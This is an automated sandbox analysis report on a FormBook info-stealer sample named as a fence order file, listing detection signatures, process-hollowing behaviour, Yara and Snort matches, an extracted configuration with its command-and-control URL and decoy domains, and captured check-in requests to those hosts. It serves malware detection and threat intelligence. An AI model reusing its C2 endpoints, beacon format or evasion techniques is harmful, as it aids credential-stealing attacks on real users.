Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
2024 Lusail Fence-WITH STICKER-2-003.exe

Overview

General Information

Sample name:2024 Lusail Fence-WITH STICKER-2-003.exe
Analysis ID:1465322
MD5:e03cefcd99feaf7ca8fd37a4bec8280c
SHA1:1ef21abddff685aeb42767f9288d67bf22a9422d
SHA256:f86b5c769c4ae7db9a13fa32b90030bf8b700d8d0f5c30584044942602d2af30
Tags:exe
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • 2024 Lusail Fence-WITH STICKER-2-003.exe (PID: 7572 cmdline: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe" MD5: E03CEFCD99FEAF7CA8FD37A4BEC8280C)
    • svchost.exe (PID: 7624 cmdline: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
        • control.exe (PID: 7668 cmdline: "C:\Windows\SysWOW64\control.exe" MD5: EBC29AA32C57A54018089CFC9CACAFE8)
          • cmd.exe (PID: 7724 cmdline: /c del "C:\Windows\SysWOW64\svchost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.gb-electric-wheelchairs-8j.bond/ts59/"], "decoy": ["hgptgz684w.top", "gas39.pro", "totalcow.com", "76466.club", "ssweatstudio.com", "nr35.top", "hmstr-drop.site", "kjsdhklssk13.xyz", "lostaino.com", "athenamotel.info", "9332946.com", "ec-delivery-jobs-8j.bond", "complaix.com", "824go.com", "checkout4xgrow.shop", "modleavedepts.online", "shoedio54.com", "topallinoneaccounting.com", "texhio.online", "cn-brand.com", "spotlights-instagram.com", "kgstrengthandperformance.com", "illumonos.com", "asmauardotreschicshoes.com", "732456.app", "uorder.xyz", "scarytube.world", "ujgddhhfeffsfgg2.group", "slumbergrip.com", "anugerahcorp.biz", "genevieveeventrental.com", "wizardatm.com", "pipelin.xyz", "zangbreaker.com", "782akd.top", "theurbangarden.xyz", "relatablemedia.net", "robottts.com", "femininequantumflowcoach.com", "thebeckettfamily.com", "yys1.rest", "f-kd.net", "ycmg5352.com", "babyscan.xyz", "superprinterworld.com", "decorland.online", "anatomiasiedzenia.com", "digitalanju.life", "zu89.top", "dropfile.xyz", "00050516.xyz", "kris1.com", "riedmw.sbs", "osofamilycoffee.com", "redseadivingadventure.com", "momura.xyz", "bvlazaedi.xyz", "vifjzpdi.xyz", "digitalimageryde.shop", "anjay4d.green", "qjjkxi260l.top", "granadaiighting.com", "agenciademarketingtorreon.com", "casinomaxnodepositbonus.icu"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
      • 0x18839:$sqlite3step: 68 34 1C 7B E1
      • 0x1894c:$sqlite3step: 68 34 1C 7B E1
      • 0x18868:$sqlite3text: 68 38 2A 90 C5
      • 0x1898d:$sqlite3text: 68 38 2A 90 C5
      • 0x1887b:$sqlite3blob: 68 53 D8 7F 8C
      • 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
      Click to see the 34 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x18839:$sqlite3step: 68 34 1C 7B E1
          • 0x1894c:$sqlite3step: 68 34 1C 7B E1
          • 0x18868:$sqlite3text: 68 38 2A 90 C5
          • 0x1898d:$sqlite3text: 68 38 2A 90 C5
          • 0x1887b:$sqlite3blob: 68 53 D8 7F 8C
          • 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 15 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: Uncommon Svchost Parent Process
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", CommandLine: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", CommandLine|base64offset|contains: ., Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", ParentImage: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe, ParentProcessId: 7572, ParentProcessName: 2024 Lusail Fence-WITH STICKER-2-003.exe, ProcessCommandLine: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", ProcessId: 7624, ProcessName: svchost.exe
          Sigma detected: Windows Processes Suspicious Parent Directory
          Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", CommandLine: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", CommandLine|base64offset|contains: ., Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", ParentImage: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe, ParentProcessId: 7572, ParentProcessName: 2024 Lusail Fence-WITH STICKER-2-003.exe, ProcessCommandLine: "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe", ProcessId: 7624, ProcessName: svchost.exe

          Snort Signatures

          Timestamp:07/01/24-15:30:51.983298
          SID:2031412
          Source Port:49709
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:31:32.789277
          SID:2031412
          Source Port:49711
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:31:12.172123
          SID:2031412
          Source Port:49710
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:32:34.341760
          SID:2031412
          Source Port:49714
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:31:53.227278
          SID:2031412
          Source Port:49712
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:29:30.423557
          SID:2031412
          Source Port:49705
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:32:13.734174
          SID:2031412
          Source Port:49713
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:32:56.063365
          SID:2031412
          Source Port:49715
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:30:10.443049
          SID:2031412
          Source Port:49708
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected
          Timestamp:07/01/24-15:29:09.673186
          SID:2031412
          Source Port:49704
          Destination Port:80
          Protocol:TCP
          Classtype:A Network Trojan was detected

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Found malware configuration
          Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.gb-electric-wheelchairs-8j.bond/ts59/"], "decoy": ["hgptgz684w.top", "gas39.pro", "totalcow.com", "76466.club", "ssweatstudio.com", "nr35.top", "hmstr-drop.site", "kjsdhklssk13.xyz", "lostaino.com", "athenamotel.info", "9332946.com", "ec-delivery-jobs-8j.bond", "complaix.com", "824go.com", "checkout4xgrow.shop", "modleavedepts.online", "shoedio54.com", "topallinoneaccounting.com", "texhio.online", "cn-brand.com", "spotlights-instagram.com", "kgstrengthandperformance.com", "illumonos.com", "asmauardotreschicshoes.com", "732456.app", "uorder.xyz", "scarytube.world", "ujgddhhfeffsfgg2.group", "slumbergrip.com", "anugerahcorp.biz", "genevieveeventrental.com", "wizardatm.com", "pipelin.xyz", "zangbreaker.com", "782akd.top", "theurbangarden.xyz", "relatablemedia.net", "robottts.com", "femininequantumflowcoach.com", "thebeckettfamily.com", "yys1.rest", "f-kd.net", "ycmg5352.com", "babyscan.xyz", "superprinterworld.com", "decorland.online", "anatomiasiedzenia.com", "digitalanju.life", "zu89.top", "dropfile.xyz", "00050516.xyz", "kris1.com", "riedmw.sbs", "osofamilycoffee.com", "redseadivingadventure.com", "momura.xyz", "bvlazaedi.xyz", "vifjzpdi.xyz", "digitalimageryde.shop", "anjay4d.green", "qjjkxi260l.top", "granadaiighting.com", "agenciademarketingtorreon.com", "casinomaxnodepositbonus.icu"]}
          Multi AV Scanner detection for submitted file
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeReversingLabs: Detection: 66%
          Yara detected FormBook
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for sample
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeJoe Sandbox ML: detected
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
          Source: Binary string: wntdll.pdbUGP source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364522933.0000000004330000.00000004.00001000.00020000.00000000.sdmp, 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364960742.0000000004190000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1367439868.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365074294.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.000000000379E000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000004.00000003.1417912394.00000000040DF000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000003.1421634030.000000000428E000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.00000000045DE000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.0000000004440000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: control.pdb source: svchost.exe, 00000002.00000002.1421885030.0000000005310000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000002.00000003.1417263305.000000000301B000.00000004.00000020.00020000.00000000.sdmp, control.exe, control.exe, 00000004.00000002.3808912482.0000000000C90000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364522933.0000000004330000.00000004.00001000.00020000.00000000.sdmp, 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364960742.0000000004190000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1367439868.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365074294.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.000000000379E000.00000040.00001000.00020000.00000000.sdmp, control.exe, control.exe, 00000004.00000003.1417912394.00000000040DF000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000003.1421634030.000000000428E000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.00000000045DE000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.0000000004440000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: control.pdbUGP source: svchost.exe, 00000002.00000002.1421885030.0000000005310000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000002.00000003.1417263305.000000000301B000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3808912482.0000000000C90000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdb source: explorer.exe, 00000003.00000002.3823187633.0000000010F0F000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3808555640.000000000070B000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.000000000498F000.00000004.10000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdbUGP source: explorer.exe, 00000003.00000002.3823187633.0000000010F0F000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3808555640.000000000070B000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.000000000498F000.00000004.10000000.00040000.00000000.sdmp
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE4696 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00DE4696
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00DEC9C7
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEC93C FindFirstFileW,FindClose,0_2_00DEC93C
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00DEF200
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00DEF35D
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00DEF65E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00DE3A2B
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00DE3D4E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00DEBF27
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop esi2_2_00417295
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop esi2_2_0041730F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop ebx2_2_00407B1A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop edi2_2_0040E43A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop edi2_2_00416CDB
          Source: C:\Windows\SysWOW64\control.exeCode function: 4x nop then pop esi4_2_001B7295
          Source: C:\Windows\SysWOW64\control.exeCode function: 4x nop then pop esi4_2_001B730F
          Source: C:\Windows\SysWOW64\control.exeCode function: 4x nop then pop edi4_2_001AE43A
          Source: C:\Windows\SysWOW64\control.exeCode function: 4x nop then pop ebx4_2_001A7B1B
          Source: C:\Windows\SysWOW64\control.exeCode function: 4x nop then pop edi4_2_001B6CDB

          Networking

          barindex
          Snort IDS alert for network traffic
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49704 -> 52.86.6.113:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49705 -> 23.227.38.74:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49708 -> 192.0.78.25:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49709 -> 3.33.130.190:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49710 -> 3.64.163.50:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49711 -> 13.248.169.48:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49712 -> 3.64.163.50:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49713 -> 185.53.179.91:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49714 -> 198.185.159.144:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49715 -> 104.194.9.178:80
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 52.86.6.113 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 13.248.169.48 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 185.53.179.91 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 23.227.38.74 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 3.64.163.50 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 192.0.78.25 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 198.185.159.144 80Jump to behavior
          Source: C:\Windows\explorer.exeNetwork Connect: 3.33.130.190 80Jump to behavior
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: www.gb-electric-wheelchairs-8j.bond/ts59/
          Performs DNS queries to domains with low reputation
          Source: DNS query: www.babyscan.xyz
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=6XBHEvjpc5M3V6LIfIX8DkkGcsaew2r6P99WVPRIfudOyKrWJ/Ql+0StQIWY9mDv/yxfQ54Ieg==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.cn-brand.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=mlngg5Tq8mAbovLDpSTQPdURm3XRXD2izxcBP0x82yVhlreLb+x9gDDmRHWXZVcg0gqB6qNybQ==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.asmauardotreschicshoes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=axrGY/tHsVnNl5QwUQiA9FSVXiVl+cKu3zfjN+PR7I9fZgnn7wX4yTtY89Vmc3+NwxjOyoKz1w==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.femininequantumflowcoach.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=/870L+f5uYuMeX+RQ7xUOiQTdWqbXz9Ki2XQMm/qjwY6yFcouCApqHiIgf95TupcdCgvNrXz6Q==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.zangbreaker.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=Q0rerqlMM+Mzf1m4EVXcVVXnMVAfvTa9yYuOwxw9IZ3XTRGu1uzNDOvhppaUL+BqZnD0gHwuuw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.babyscan.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=5Kzuc08NHZ8t10osRye94ZQvODLPm8mJty646c/dpAg/zLZpW1bo0yg/pue6LIfdumZDuAZHWw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.scarytube.worldConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=cK9IFJet6pmJE86ae8KOHfirNs8pECX6NYxzkQ3MXT6vCvPIzrd8O4FQURVhV/WvD5THDom2OA==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.robottts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=mB8uG6w8zpafFuNLwvQmLBNoWWmhhT+Pa5pMyx7Kkg5PpWq+xUX3NBFKVo2JmSZYGQcG7mEBYw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.gb-electric-wheelchairs-8j.bondConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
